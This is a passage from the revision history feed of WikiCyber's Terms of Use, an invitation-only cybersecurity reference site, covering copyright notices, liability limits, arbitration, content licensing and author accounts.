&#039;&#039;&#039;8.1 Notice of claimed infringement.&#039;&#039;&#039; The Operator respects intellectual property rights and responds to notices of alleged copyright infringement in accordance with applicable law, including Title 17, United States Code, Section 512. If you believe that Content on the Site infringes a copyright that you own or control, you may submit a written notice to the contact address in Section 13 that includes:&lt;br /&gt;
:(a) your physical or electronic signature, or that of a person authorized to act on behalf of the copyright owner;&lt;br /&gt;
:(b) identification of the copyrighted work claimed to have been infringed;&lt;br /&gt;
:(c) identification of the material claimed to be infringing, with the URL of the page on which it appears, in sufficient detail to permit the Operator to locate it;&lt;br /&gt;
:(d) your name, mailing address, telephone number, and email address;&lt;br /&gt;
:(e) a statement that you have a good-faith belief that the use of the material in the manner complained of is not authorized by the copyright owner, its agent, or the law; and&lt;br /&gt;
:(f) a statement that the information in the notice is accurate and, &#039;&#039;&#039;under penalty of perjury&#039;&#039;&#039;, that you are authorized to act on behalf of the owner of the exclusive right allegedly infringed.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;8.2 Action upon notice.&#039;&#039;&#039; Upon receipt of a notice that substantially complies with Section 8.1, the Operator may remove or disable access to the identified material and may notify the Author who submitted it.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;8.3 Counter-notification.&#039;&#039;&#039; An Author whose Content has been removed pursuant to Section 8.2 may submit a written counter-notice to the contact address in Section 13 that includes: (a) the Author&#039;s physical or electronic signature; (b) identification of the material removed and the location at which it appeared before removal; (c) a statement, &#039;&#039;&#039;under penalty of perjury&#039;&#039;&#039;, that the Author has a good-faith belief that the material was removed as a result of mistake or misidentification; and (d) the Author&#039;s name, address, and telephone number, and a statement that the Author consents to the jurisdiction of the federal district court for the judicial district in which the Author&#039;s address is located (or, if the address is outside the United States, any judicial district in which the Operator may be found) and will accept service of process from the person who submitted the original notice. Upon receipt of a compliant counter-notice, the Operator may forward it to the complaining party and may restore the material, in accordance with applicable law, unless the complaining party notifies the Operator that it has filed an action seeking a court order against the Author.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;8.4 Repeat infringers.&#039;&#039;&#039; In appropriate circumstances, the Operator will suspend or terminate the accounts of Authors who are repeat infringers of copyright.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;8.5 Misrepresentation.&#039;&#039;&#039; You may be held liable for damages, including costs and attorneys&#039; fees, if you knowingly and materially misrepresent that material is infringing or was removed by mistake or misidentification.&lt;br /&gt;
&lt;br /&gt;
== 9. Links and Third-Party Content ==&lt;br /&gt;
&lt;br /&gt;
The Site may contain links to, or reproduce content from, websites, services, and materials that are owned or operated by third parties. Such materials include links to external web pages, tools, repositories, videos, downloads (including practice images and files), and any other service mentioned on the Site (collectively, &amp;quot;&#039;&#039;&#039;Third-Party Materials&#039;&#039;&#039;&amp;quot;). The Operator does not control, create, update, monitor, endorse, or adopt any Third-Party Materials, makes no guarantee that they are accurate, complete, current, safe, or lawful, and assumes no responsibility for their content, availability, security, or privacy practices. Downloaded files in particular may contain malware or be unsuitable for your systems; you should open them only in an isolated environment. Your correspondence or dealings with, or participation in promotions of, any third party found on or through the Site are solely between you and that third party. You decide whether to access or use Third-Party Materials, you do so at your own risk, and your use is governed by the terms and policies of that third party.&lt;br /&gt;
&lt;br /&gt;
== 10. Privacy ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;10.1 Information collected.&#039;&#039;&#039; The Operator collects and uses limited information, such as usernames, email addresses associated with accounts, and server logs, for the purposes of operating, maintaining, and securing the Site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;10.2 Public nature of Contributions.&#039;&#039;&#039; All Contributions that are published on the Site, including the Author&#039;s username and edit history, are public and are not confidential.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;10.3 Service providers.&#039;&#039;&#039; Some of the services that operate the Site, including hosting infrastructure, are provided by Akamai Technologies, Inc. (Linode). Server logs and other data described in Section 10.1 may be stored and processed on that provider&#039;s infrastructure.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;10.4 Children.&#039;&#039;&#039; The Site is not intended for, and the Operator does not knowingly collect personal information from, children under 13 (see Section 3.9). A parent or legal guardian who believes that a child under 13 has provided personal information to the Operator may contact the Operator at the address in Section 13.1, and the Operator will delete that information.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;10.5 Supplemental Policies.&#039;&#039;&#039; Your use of the Site is also subject to the Supplemental Policies, which are incorporated into and form part of these Terms.&lt;br /&gt;
&lt;br /&gt;
== 11. Disclaimer of Warranties; Limitation of Liability ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;11.1 Disclaimer of warranties.&#039;&#039;&#039; THE SITE AND ALL CONTENT ARE PROVIDED &amp;quot;AS IS&amp;quot; AND &amp;quot;AS AVAILABLE,&amp;quot; WITHOUT WARRANTIES OF ANY KIND, WHETHER EXPRESS, IMPLIED, OR STATUTORY, INCLUDING ANY WARRANTIES OF ACCURACY, COMPLETENESS, TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THE OPERATOR DOES NOT WARRANT THAT THE SITE OR THE CONTENT WILL BE UNINTERRUPTED, TIMELY, ERROR-FREE, SECURE, OR FREE OF HARMFUL COMPONENTS.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;11.2 Exclusion of damages.&#039;&#039;&#039; TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, IN NO EVENT SHALL ANY OF THE WIKICYBER PARTIES BE LIABLE TO YOU OR TO ANY THIRD PARTY FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, CONSEQUENTIAL, EXEMPLARY, OR PUNITIVE DAMAGES, OR FOR ANY LOSS OF DATA, PROFITS, REVENUE, GOODWILL, OR SYSTEM AVAILABILITY, ARISING OUT OF OR IN CONNECTION WITH THESE TERMS, THE SITE, OR THE CONTENT, OR YOUR USE OF, OR INABILITY TO USE, THE SITE OR THE CONTENT, WHETHER BASED ON WARRANTY, CONTRACT, TORT (INCLUDING NEGLIGENCE), STATUTE, OR ANY OTHER LEGAL THEORY, AND EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;11.3 Limitation of aggregate liability.&#039;&#039;&#039; BECAUSE THE SITE IS PROVIDED FREE OF CHARGE, TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, THE TOTAL AGGREGATE LIABILITY OF THE WIKICYBER PARTIES FOR ALL CLAIMS ARISING OUT OF OR RELATING TO THESE TERMS, THE SITE, OR THE CONTENT SHALL NOT EXCEED ZERO U.S. DOLLARS (US$0.00).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;11.4 Exceptions.&#039;&#039;&#039; Nothing in these Terms excludes or limits any liability that cannot be excluded or limited under applicable law. Some jurisdictions do not allow the exclusion of certain warranties or the limitation of certain damages, and in those jurisdictions the exclusions and limitations in this Section 11 apply only to the fullest extent permitted.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;11.5 Basis of the bargain.&#039;&#039;&#039; You acknowledge that the disclaimers and limitations in this Section 11 reflect a reasonable allocation of risk, that the Site is provided free of charge in reliance on them, and that they apply even if any limited remedy fails of its essential purpose.&lt;br /&gt;
&lt;br /&gt;
== 12. Indemnification ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;12.1 Indemnity.&#039;&#039;&#039; To the fullest extent permitted by applicable law, you agree to defend, indemnify, and hold harmless the WikiCyber Parties from and against any and all claims, demands, actions, liabilities, damages, losses, and expenses (including reasonable attorneys&#039; fees and costs) arising out of or relating to: (a) your breach of these Terms; (b) your violation of any law or of any right of a third party; or (c) your unauthorized or unlawful use of the Site or the Content.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;12.2 Procedure.&#039;&#039;&#039; The Operator will use reasonable efforts to notify you of any claim for which it seeks indemnification, provided that failure to do so does not relieve you of your obligations except to the extent you are materially prejudiced. The Operator may, at its option, assume the exclusive defense and control of any such claim, at your expense, and you shall cooperate with that defense and shall not settle any such claim without the Operator&#039;s prior written consent.&lt;br /&gt;
&lt;br /&gt;
== 13. Contact and Notices ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;13.1 Contact.&#039;&#039;&#039; Questions regarding these Terms, notices of claimed copyright infringement and counter-notices under Section 8, and reports under Section 6.3 should be directed to: &#039;&#039;&#039;admin@wikicyber.org&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;13.2 Notices to you.&#039;&#039;&#039; The Operator may provide notices to you by posting them on the Site or by sending them to the email address associated with your account, if any. Notices so given are deemed received when posted or sent.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;13.3 Electronic communications.&#039;&#039;&#039; You consent to receive communications from the Operator in electronic form and agree that electronic communications satisfy any legal requirement that such communications be in writing.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;13.4 Account and service emails; no marketing.&#039;&#039;&#039; By accepting an account, an Author agrees that the Operator may send email to the address associated with the account for purposes related to the Site, such as account and security messages, password resets, editorial review and draft-status notices, notices of changes to these Terms or the Supplemental Policies, and responses to your inquiries. The Operator does not send advertising or marketing messages and does not contact you by telephone or text message. Some categories of email (such as review notifications) may be switched off in your preferences; notices about these Terms, legal notices, and security messages may be sent regardless. You represent that you own or are authorized to use the email address you give the Operator.&lt;br /&gt;
&lt;br /&gt;
== 14. Modifications to These Terms ==&lt;br /&gt;
&lt;br /&gt;
The Operator reserves the right, in its sole discretion, to modify these Terms at any time. Modifications become effective upon posting on this page, and the &amp;quot;Last Updated&amp;quot; date above will be revised accordingly. Your continued access to or use of the Site after modifications are posted constitutes your acceptance of the modified Terms. You are responsible for reviewing these Terms periodically; prior versions are available through this page&#039;s history. No modification revokes any license granted under the License before the effective date of that modification.&lt;br /&gt;
&lt;br /&gt;
== 15. Governing Law and General Provisions ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.1 Governing law.&#039;&#039;&#039; These Terms, and any dispute arising out of or relating to them or to the Site, are governed by the laws of the State of California, United States of America, without regard to its conflict-of-laws principles.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.2 Jurisdiction and venue.&#039;&#039;&#039; Subject to Sections 15.3 and 15.12 through 15.15, you irrevocably consent to the exclusive jurisdiction and venue of the state and federal courts located in the State of California for any such dispute, and waive any objection based on inconvenient forum.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.3 Equitable relief.&#039;&#039;&#039; Notwithstanding Sections 15.2 and 15.12, either party may seek injunctive or other equitable relief in any court of competent jurisdiction to prevent or restrain any actual or threatened violation of these Terms, infringement or misappropriation of intellectual property rights, or misuse of the Site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.4 Severability.&#039;&#039;&#039; If any provision of these Terms is held to be invalid, illegal, or unenforceable, that provision shall be enforced to the maximum extent permissible and the remaining provisions shall continue in full force and effect.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.5 No waiver.&#039;&#039;&#039; The failure of the Operator to exercise or enforce any right or provision of these Terms does not constitute a waiver of that right or provision. Any waiver must be in writing and signed by the Operator to be effective.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.6 Entire agreement; order of precedence.&#039;&#039;&#039; These Terms, together with the Supplemental Policies and, as to Content, the License, constitute the entire agreement between you and the Operator regarding the Site and supersede all prior or contemporaneous understandings on that subject. In the event of a conflict, (a) the License governs the rights granted in Content, and (b) otherwise, these Terms prevail over the Supplemental Policies.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.7 Assignment.&#039;&#039;&#039; You may not assign or transfer these Terms or any rights under them without the Operator&#039;s prior written consent, and any purported assignment in violation of this Section is void. The Operator may assign these Terms, in whole or in part, without notice.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.8 Third-party beneficiaries.&#039;&#039;&#039; Except that the WikiCyber Parties are intended third-party beneficiaries of Sections 11 and 12, these Terms confer no rights on any person other than you and the Operator.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.9 Force majeure.&#039;&#039;&#039; The Operator shall not be liable for any failure or delay in performance caused by events beyond its reasonable control, including failures of internet, hosting, or power services, labor disputes, natural disasters, governmental action, or attacks on the Site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.10 Digital identity and age-verification laws.&#039;&#039;&#039; The Site is operated from the United States, does not require or collect government-issued identification or biometric data, and does not perform age or identity verification. If you are located in, or are a resident or citizen of, a country or region whose laws require a website or online service to implement digital identity, government-ID, or age-verification measures in order to serve its users (for example, the United Kingdom or Australia), you agree that you will not access or use the Site or its services while those requirements apply. You are responsible for determining whether the laws of your location impose such requirements. The Operator does not implement such measures and does not accept that those laws apply to the Operator or the Site. The Operator may block or restrict access from any country or region at any time and without notice.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.11 Survival.&#039;&#039;&#039; Sections that by their nature should survive the termination of your access to the Site shall so survive, including Sections 2, 3.7, 3.8, 3.9(c), 4, 5, 6, 7, 8, 9, 11, 12, 13, and 15.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.12 Informal resolution and binding arbitration.&#039;&#039;&#039;&lt;br /&gt;
:(a) &#039;&#039;&#039;Informal resolution first.&#039;&#039;&#039; Before starting an arbitration, a party must send the other a written notice describing the dispute and the relief sought (to the Operator, at the address in Section 13.1; to you, at the email address associated with your account), and the parties will try in good faith to resolve it informally for at least thirty (30) days after the notice is received.&lt;br /&gt;
:(b) &#039;&#039;&#039;Agreement to arbitrate.&#039;&#039;&#039; If a dispute is not resolved within that period, then, except as provided in Section 15.12(e) and Section 15.15, you and the Operator agree that any dispute, claim, or controversy arising out of or relating to these Terms, the Site, or the Content, whether based in contract, tort, statute, or otherwise, will be resolved exclusively by final and binding arbitration on an individual basis, and not in court before a judge or jury. This Section 15.12 is governed by the Federal Arbitration Act (9 U.S.C. § 1 et seq.).&lt;br /&gt;
:(c) &#039;&#039;&#039;Rules and administrator.&#039;&#039;&#039; The arbitration will be administered by the American Arbitration Association (&amp;quot;AAA&amp;quot;) under its Consumer Arbitration Rules in effect when the arbitration is started, as modified by this Section. The rules and filing instructions are available at https://www.adr.org. The arbitration will be conducted by a single arbitrator, in writing or by video or telephone conference, unless the arbitrator decides that an in-person hearing is necessary, in which case it will be held in the county where you live or another place that the parties agree on.&lt;br /&gt;
:(d) &#039;&#039;&#039;Costs.&#039;&#039;&#039; Fees and costs will be allocated under the AAA Consumer Arbitration Rules. If those rules would require you to pay more than you would have paid to file a lawsuit in the state court of the county where you live, the Operator will pay the excess. Each party bears its own attorneys&#039; fees, except where applicable law or the arbitrator&#039;s authority under this Section permits an award of fees.&lt;br /&gt;
:(e) &#039;&#039;&#039;Exceptions.&#039;&#039;&#039; Either party may (i) bring an individual claim in small claims court if the claim qualifies; (ii) seek injunctive or other equitable relief under Section 15.3; and (iii) bring a claim for public injunctive relief only in court, as provided in Section 15.14.&lt;br /&gt;
:(f) &#039;&#039;&#039;Authority of the arbitrator.&#039;&#039;&#039; The arbitrator may award any individual relief that a court could award on the claims properly before the arbitrator, but may not award relief for or against anyone who is not a party. The arbitrator&#039;s decision is final, and a court having jurisdiction may enter judgment on it. The arbitrator, and not a court, decides whether a dispute falls within this Section 15.12, except that a court decides whether Section 15.13 (class action waiver) is enforceable.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.13 Class action and jury waiver.&#039;&#039;&#039; To the fullest extent permitted by applicable law, you and the Operator each waive the right to participate in, or to receive money or other relief from, any class, collective, consolidated, representative, or private-attorney-general action or proceeding against the other, and agree that any dispute will be resolved on an individual basis only. The arbitrator may not consolidate the claims of more than one person or preside over any form of class or representative proceeding. If a court finds this Section 15.13 unenforceable as to a claim, then that claim (and only that claim) must be brought in court under Section 15.2 and not in arbitration, and the remaining claims will be arbitrated. To the fullest extent permitted by law, each party also waives any right to a jury trial in any dispute that proceeds in court.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.14 Public injunctive relief.&#039;&#039;&#039; Nothing in this Section 15 waives any right to seek public injunctive relief that cannot lawfully be waived. If such a claim is pursued, it must be brought in court under Section 15.2, and any other claims will be arbitrated; the court action will be stayed until the arbitration has concluded, to the extent permitted by law.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.15 Opt-out; changes; severability of Section 15.12.&#039;&#039;&#039;&lt;br /&gt;
:(a) &#039;&#039;&#039;Opt-out.&#039;&#039;&#039; You may opt out of Sections 15.12 and 15.13 by sending the Operator a written notice, from the email address associated with your account, to the address in Section 13.1, within thirty (30) days after you first accept these Terms (or, for an existing Author, within thirty (30) days after the date these provisions are first published on the Site). The notice must state your username and that you opt out of arbitration. If you opt out, Section 15.2 applies instead of Sections 15.12 and 15.13, and the other provisions of these Terms are unaffected.&lt;br /&gt;
:(b) &#039;&#039;&#039;Changes.&#039;&#039;&#039; If the Operator changes this Section 15 in the future, the change does not apply to any dispute for which notice under Section 15.12(a) was given before the change took effect.&lt;br /&gt;
:(c) &#039;&#039;&#039;Minors.&#039;&#039;&#039; To the extent that a person is a minor under applicable law, Sections 15.12 and 15.13 apply only to the extent permitted by that law.&lt;br /&gt;
:(d) &#039;&#039;&#039;Severability.&#039;&#039;&#039; If any part of Section 15.12 other than Section 15.13 is held unenforceable, that part will be severed and the rest will remain in effect.&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=WikiCyber:Terms_of_Use&amp;diff=325</id>
		<title>WikiCyber:Terms of Use</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=WikiCyber:Terms_of_Use&amp;diff=325"/>
		<updated>2026-10-31T17:08:26Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Publish reviewed Terms of Use; $10 cap with statutory exceptions&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;Effective Date:&#039;&#039;&#039; 31 October 2026 &amp;amp;nbsp;|&amp;amp;nbsp; &#039;&#039;&#039;Last Updated:&#039;&#039;&#039; 31 October 2026&lt;br /&gt;
&lt;br /&gt;
These Terms of Use (these &amp;quot;&#039;&#039;&#039;Terms&#039;&#039;&#039;&amp;quot;) constitute a legally binding agreement between you and the Operator (as defined below) governing your access to and use of the WikiCyber website located at https://wikicyber.org, together with its pages, content, and related services (collectively, the &amp;quot;&#039;&#039;&#039;Site&#039;&#039;&#039;&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;PLEASE READ THESE TERMS, INCLUDING THE LIABILITY LIMITS IN SECTION 11 AND THE INDIVIDUAL ARBITRATION AGREEMENT IN SECTIONS 15.12–15.15. ARBITRATION REPLACES A COURT TRIAL FOR COVERED DISPUTES; YOU MAY OPT OUT WITHIN 30 DAYS AS EXPLAINED IN SECTION 15.15.&#039;&#039;&#039; You accept these Terms by checking an acceptance box or taking another affirmative action that expressly states that you agree to them after being given a conspicuous link and an opportunity to read them. Mere browsing does not, by itself, constitute acceptance of the arbitration agreement or other contractual waivers. Account creation, contributions, and Terminal Service access require acceptance. Publicly licensed Content remains available under its applicable license independently of acceptance. You must be at least 13 to use the Site; account holders must meet Section 3.9, including its parental-consent requirements where applicable.&lt;br /&gt;
&lt;br /&gt;
== 1. Introduction and Definitions ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.1 The Operator.&#039;&#039;&#039; WikiCyber is a free educational project operated by Shore-Roger Enterprises LLC, a California limited liability company (the &amp;quot;&#039;&#039;&#039;Operator&#039;&#039;&#039;&amp;quot;, &amp;quot;&#039;&#039;&#039;we&#039;&#039;&#039;&amp;quot;, &amp;quot;&#039;&#039;&#039;us&#039;&#039;&#039;&amp;quot;, or &amp;quot;&#039;&#039;&#039;our&#039;&#039;&#039;&amp;quot;). The Site is an encyclopedia-style reference of cybersecurity guides, tutorials, and articles written by contributors and is made available free of charge. This description does not represent that the Operator is a nonprofit or tax-exempt organization.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.2 Definitions.&#039;&#039;&#039; In these Terms, unless the context requires otherwise:&lt;br /&gt;
:&amp;quot;&#039;&#039;&#039;Author&#039;&#039;&#039;&amp;quot; means a natural person to whom the Operator has issued an account on the Site and who creates, edits, or submits Content.&lt;br /&gt;
:&amp;quot;&#039;&#039;&#039;Content&#039;&#039;&#039;&amp;quot; means all text, code, images, data, and other material made available on the Site, including Contributions.&lt;br /&gt;
:&amp;quot;&#039;&#039;&#039;Contribution&#039;&#039;&#039;&amp;quot; means any Content that an Author creates, edits, or submits to the Site, whether or not it has been published, including articles, drafts, sandbox pages, talk-page comments, and edit summaries. Private communications, personal account information, terminal activity, and competition submissions are not Contributions merely because they are sent to the Operator; Sections 6.6 and 10 govern those materials.&lt;br /&gt;
:&amp;quot;&#039;&#039;&#039;License&#039;&#039;&#039;&amp;quot; means the [https://creativecommons.org/licenses/by-sa/4.0/legalcode Creative Commons Attribution-ShareAlike 4.0 International Public License] (CC BY-SA 4.0).&lt;br /&gt;
:&amp;quot;&#039;&#039;&#039;Supplemental Policies&#039;&#039;&#039;&amp;quot; means the [[WikiCyber:Privacy policy|Privacy policy]] and the [[WikiCyber:General disclaimer|General disclaimer]], to the extent actually published, made available before acceptance, and applicable to the service used, subject to Sections 14 and 15.6.&lt;br /&gt;
:&amp;quot;&#039;&#039;&#039;Terminal Service&#039;&#039;&#039;&amp;quot; means the optional hands-on practice and competition environments that the Operator may offer through the Site, in which you are given a temporary virtual machine that you operate through a browser-based terminal, together with the booking, scoring, and results features that accompany them.&lt;br /&gt;
:&amp;quot;&#039;&#039;&#039;Competition&#039;&#039;&#039;&amp;quot; means a scheduled, scored event run through the Terminal Service, and &amp;quot;&#039;&#039;&#039;Competition Account&#039;&#039;&#039;&amp;quot; means an account issued only to take part in one or more Competitions.&lt;br /&gt;
:&amp;quot;&#039;&#039;&#039;User&#039;&#039;&#039;&amp;quot; or &amp;quot;&#039;&#039;&#039;you&#039;&#039;&#039;&amp;quot; means any person or entity that accesses or uses the Site, including any Author.&lt;br /&gt;
:&amp;quot;&#039;&#039;&#039;WikiCyber Parties&#039;&#039;&#039;&amp;quot; means the Operator and its owners, officers, administrators, agents, volunteers, and Authors.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.3 Interpretation.&#039;&#039;&#039; Headings are for convenience only and do not affect the interpretation of these Terms. The word &amp;quot;including&amp;quot; means &amp;quot;including without limitation.&amp;quot; References to a statute or regulation are to that statute or regulation as amended or replaced from time to time.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.4 Availability of the Site.&#039;&#039;&#039; The Operator may modify, suspend, restrict, or discontinue the Site, or any part of it, at any time, subject to applicable law and the protections in Sections 11.4 and 14.&lt;br /&gt;
&lt;br /&gt;
== 2. Content License and Contributions ==&lt;br /&gt;
&lt;br /&gt;
=== 2.1 License to Content ===&lt;br /&gt;
&#039;&#039;&#039;2.1.1&#039;&#039;&#039; Unless a page or item expressly states otherwise, publicly accessible editorial Content is made available to the public, free of charge, under the License. Subject to and in accordance with the License, you may copy, redistribute, and adapt the Content for any purpose, including commercial use, provided that you comply with the License, including the following conditions:&lt;br /&gt;
:(a) &#039;&#039;&#039;Attribution.&#039;&#039;&#039; You must give appropriate credit to WikiCyber and its Authors, provide a link to the License, and indicate whether changes were made. A hyperlink or URL to the page you used, or to its history page, ordinarily identifies the Authors; retain other attribution, copyright, license, and disclaimer notices to the extent required by the License.&lt;br /&gt;
:(b) &#039;&#039;&#039;ShareAlike.&#039;&#039;&#039; If you share adapted material, you must apply the License or a permitted compatible license as required by the License. There is no obligation to publish a private adaptation.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2.1.2&#039;&#039;&#039; Private sandbox material, account data, terminal recordings, competition answers, unreleased exercise materials, scoring configurations, and third-party software are not offered under the License merely because they are stored on or accessible through the Site. Their applicable permissions or licenses control. Section 2.1.1 is a summary provided for convenience and is not a substitute for the License. In the event of any conflict between these Terms and the License, the License governs the rights it grants. These Terms do not impose additional restrictions on exercise of licensed rights, remove copyright exceptions, or revoke licenses previously granted. Service access restrictions do not change those rights.&lt;br /&gt;
&lt;br /&gt;
=== 2.2 Contributions ===&lt;br /&gt;
By creating, editing, or submitting a Contribution, an Author represents, warrants, and agrees that:&lt;br /&gt;
:(a) the Author licenses a Contribution to the public under the License when posting it to a publicly accessible page or authorizing its publication through the review process, and acknowledges that the license is &#039;&#039;&#039;irrevocable&#039;&#039;&#039; under its terms. Draft-namespace pages, talk pages, and public edit summaries are public even before editorial approval. Material stored solely in an access-restricted sandbox is not publicly licensed by storage alone. The Author grants the Operator a nonexclusive, worldwide, royalty-free permission to store, reproduce, back up, format, and allow authorized reviewers to review that private material solely to operate the requested service; this does not authorize public disclosure before the Author authorizes publication, except as required by law;&lt;br /&gt;
:(b) the Contribution is the Author&#039;s original work, or the Author otherwise holds all rights necessary to license it under the License, and the Contribution does not infringe, misappropriate, or violate the copyright, trademark, privacy, or other rights of any third party;&lt;br /&gt;
:(c) any third-party material included in the Contribution is identified as such and is available under a license compatible with the License;&lt;br /&gt;
:(d) Contributions that are published on the Site, together with their edit histories and the Author&#039;s username, may remain publicly visible, including in edit histories and third-party copies, and may be edited, reorganized, moved, or removed by the Operator&#039;s administrators at any time;&lt;br /&gt;
:(e) subject to the License, the Author retains such copyright as the Author holds in the Contribution, and no Contribution creates any obligation on the part of the Operator to publish, retain, or credit it other than as the License requires; and&lt;br /&gt;
:(f) the Contribution complies with Section 6.&lt;br /&gt;
&lt;br /&gt;
=== 2.3 Matters Not Licensed ===&lt;br /&gt;
:(a) Third-party material that is marked with its own license, copyright notice, or terms remains subject to that license, notice, or terms.&lt;br /&gt;
:(b) The names &amp;quot;WikiCyber&amp;quot; and &amp;quot;Shore-Roger Enterprises LLC,&amp;quot; and all associated logos, are trademarks or trade names of their respective owners. The License does not grant any trademark rights, and no such rights are granted by these Terms.&lt;br /&gt;
&lt;br /&gt;
=== 2.4 Linking to the Site ===&lt;br /&gt;
You may link to publicly accessible pages for lawful purposes, including attribution, commentary, and criticism. Do not misrepresent sponsorship, endorsement, or affiliation or misuse trademarks. Nothing here limits fair use, nominative use, or rights granted by the License. Linking does not authorize access to private pages or circumvention of access controls.&lt;br /&gt;
&lt;br /&gt;
== 3. Authors and Accounts ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3.1 Invitation only.&#039;&#039;&#039; Author accounts are issued by invitation only. Competition Accounts may instead be issued through an approved competition registration window under Section 6.6.6. Authors are vetted before being invited and are expected to have a notable background in cybersecurity, whether as a cybersecurity professional or through a history of participation in capture-the-flag (CTF) competitions and cybersecurity camps. An invitation, and the holding of an account, are subject to the minimum-age requirements of Section 3.9, regardless of the background on which the Author was vetted.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3.2 Vetting is not a guarantee.&#039;&#039;&#039; The vetting of an Author does not constitute a representation or warranty by the Operator that any Author&#039;s Content is accurate, complete, current, or endorsed by the Operator. Content reflects the knowledge and opinions of the individual Authors.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3.3 Account security.&#039;&#039;&#039; Each Author is solely responsible for maintaining the confidentiality of their account credentials, for activity they authorize or that results from their failure to take reasonable care of their credentials, and for not permitting any other person to use their account. An Author is the sole authorized user of their account. An Author must notify the Operator promptly upon becoming aware of, or reasonably suspecting, any unauthorized use of their account or compromise of their credentials.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3.4 Editorial control and review.&#039;&#039;&#039; New or changed Content may be held in a draft or review queue before publication. The Operator may edit, move, decline to publish, or remove any Content at any time and for any reason, in its sole discretion.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3.5 No employment or agency.&#039;&#039;&#039; Unless the Operator and an Author have agreed otherwise in a signed writing, Authors contribute voluntarily and without compensation, and nothing in these Terms creates an employment, partnership, joint venture, or agency relationship between the Operator and any Author.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3.6 One account; accurate information.&#039;&#039;&#039; Unless the Operator agrees otherwise in writing, each Author may hold only one account. The Operator may deactivate any additional or duplicate account. An Author must provide accurate information to the Operator (including the email address associated with the account) and must keep that information current. Accounts are personal to the Author and may not be shared, sold, lent, or transferred.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3.7 Authors&#039; representations.&#039;&#039;&#039; By accepting an account, an Author represents and warrants that: (a) the Author is not circumventing a current suspension or removal, and has disclosed any prior suspension or removal when seeking renewed access; (b) the Author has authority to accept these Terms, subject to the parental-consent procedure and nonwaivable rights in Section 3.9, and doing so does not breach any other agreement or obligation by which the Author is bound (including any agreement with an employer, school, or competition organizer concerning ownership of, or confidentiality of, work product); (c) every statement the Author makes to the Operator in connection with the Author&#039;s invitation or vetting is true; and (d) the Author satisfies the eligibility requirements of Section 6.5 (Export Controls and Sanctions) and will promptly notify the Operator if that ceases to be true.&lt;br /&gt;
&lt;br /&gt;
